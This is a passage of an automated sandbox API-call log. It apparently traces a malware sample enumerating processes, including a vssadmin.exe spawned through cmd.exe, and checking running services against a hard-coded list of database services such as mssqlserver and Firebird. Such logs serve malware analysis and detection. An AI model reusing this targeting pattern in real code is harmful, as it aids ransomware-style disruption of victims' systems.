th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0062.582] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0062.582] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.583] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.583] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0062.583] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0062.583] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0062.583] lstrlenW (lpString="cmd.exe") returned 7 [0062.583] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.583] lstrlenW (lpString="conhost.exe") returned 11 [0062.583] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0062.584] lstrlenW (lpString="vssadmin.exe") returned 12 [0062.584] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0062.584] lstrlenW (lpString="VSSVC.exe") returned 9 [0062.584] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.584] lstrlenW (lpString="svchost.exe") returned 11 [0062.584] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0062.585] lstrlenW (lpString="LogonUI.exe") returned 11 [0062.585] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0062.585] CloseHandle (hObject=0x334) returned 1 [0062.585] Sleep (dwMilliseconds=0x1f4) [0063.499] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x806b08 [0063.500] EnumServicesStatusExW (in: hSCManager=0x806b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0063.500] GetLastError () returned 0xea [0063.500] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x3372ff8 [0063.500] EnumServicesStatusExW (in: hSCManager=0x806b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3372ff8, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3372ff8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0063.501] CloseServiceHandle (hSCObject=0x806b08) returned 1 [0063.501] lstrlenW (lpString="Appinfo") returned 7 [0063.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.501] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.501] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.501] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.501] lstrlenW (lpString="AudioSrv") returned 8 [0063.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0063.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0063.502] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0063.502] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0063.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0063.502] lstrlenW (lpString="BFE") returned 3 [0063.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.502] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.502] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.502] lstrlenW (lpString="CryptSvc") returned 8 [0063.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.502] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.502] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.502] lstrlenW (lpString="CscService") returned 10 [0063.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0063.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0063.502] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0063.502] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0063.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0063.502] lstrlenW (lpString="DcomLaunch") returned 10 [0063.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.502] lstrlenW (lpString="Dhcp") returned 4 [0063.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.502] lstrlenW (lpString="Dnscache") returned 8 [0063.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.503] lstrlenW (lpString="DPS") returned 3 [0063.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.503] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.503] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.503] lstrlenW (lpString="eventlog") returned 8 [0063.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0063.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0063.503] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0063.503] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0063.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0063.503] lstrlenW (lpString="EventSystem") returned 11 [0063.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.503] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.503] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.503] lstrlenW (lpString="gpsvc") returned 5 [0063.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.503] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.503] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.503] lstrlenW (lpString="iphlpsvc") returned 8 [0063.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.503] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.503] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.503] lstrlenW (lpString="LanmanServer") returned 12 [0063.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.504] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.504] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.504] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.504] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.504] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.504] lstrlenW (lpString="lmhosts") returned 7 [0063.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.504] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.504] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.504] lstrlenW (lpString="MMCSS") returned 5 [0063.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0063.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0063.504] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0063.504] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0063.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0063.504] lstrlenW (lpString="MpsSvc") returned 6 [0063.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.504] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.504] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.504] lstrlenW (lpString="Netman") returned 6 [0063.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0063.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0063.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0063.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0063.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0063.504] lstrlenW (lpString="netprofm") returned 8 [0063.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.505] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.505] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.505] lstrlenW (lpString="NlaSvc") returned 6 [0063.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.505] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.505] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.505] lstrlenW (lpString="nsi") returned 3 [0063.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.505] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.505] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.505] lstrlenW (lpString="PcaSvc") returned 6 [0063.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.505] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.505] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.505] lstrlenW (lpString="PlugPlay") returned 8 [0063.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.505] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.505] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.505] lstrlenW (lpString="Power") returned 5 [0063.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.505] lstrlenW (lpString="ProfSvc") returned 7 [0063.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.506] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.506] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.506] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.506] lstrlenW (lpString="RpcSs") returned 5 [0063.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.506] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.506] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.506] lstrlenW (lpString="SamSs") returned 5 [0063.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.506] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.506] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.506] lstrlenW (lpString="Schedule") returned 8 [0063.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.506] lstrlenW (lpString="SENS") returned 4 [0063.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.506] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.506] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.506] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.507] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.507] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.507] lstrlenW (lpString="Spooler") returned 7 [0063.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.507] lstrlenW (lpString="swprv") returned 5 [0063.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0063.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0063.507] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0063.507] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0063.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0063.507] lstrlenW (lpString="SysMain") returned 7 [0063.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.507] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.507] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0063.507] lstrlenW (lpString="Themes") returned 6 [0063.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0063.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0063.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0063.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0063.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0063.507] lstrlenW (lpString="TrkWks") returned 6 [0063.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0063.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0063.507] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0063.507] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0063.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0063.507] lstrlenW (lpString="UxSms") returned 5 [0063.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0063.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0063.508] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0063.508] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0063.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0063.508] lstrlenW (lpString="VSS") returned 3 [0063.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0063.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0063.508] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0063.508] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0063.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0063.508] lstrlenW (lpString="WdiServiceHost") returned 14 [0063.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.508] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0063.508] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0063.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0063.508] lstrlenW (lpString="WdiSystemHost") returned 13 [0063.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.508] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0063.508] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0063.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0063.508] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0063.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.508] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0063.508] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0063.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0063.508] lstrlenW (lpString="Winmgmt") returned 7 [0063.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0063.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0063.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0063.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0063.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0063.508] lstrlenW (lpString="WPDBusEnum") returned 10 [0063.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.509] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0063.509] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0063.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0063.509] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3372ff8 | out: hHeap=0x790000) returned 1 [0063.509] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0063.511] Process32FirstW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.511] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 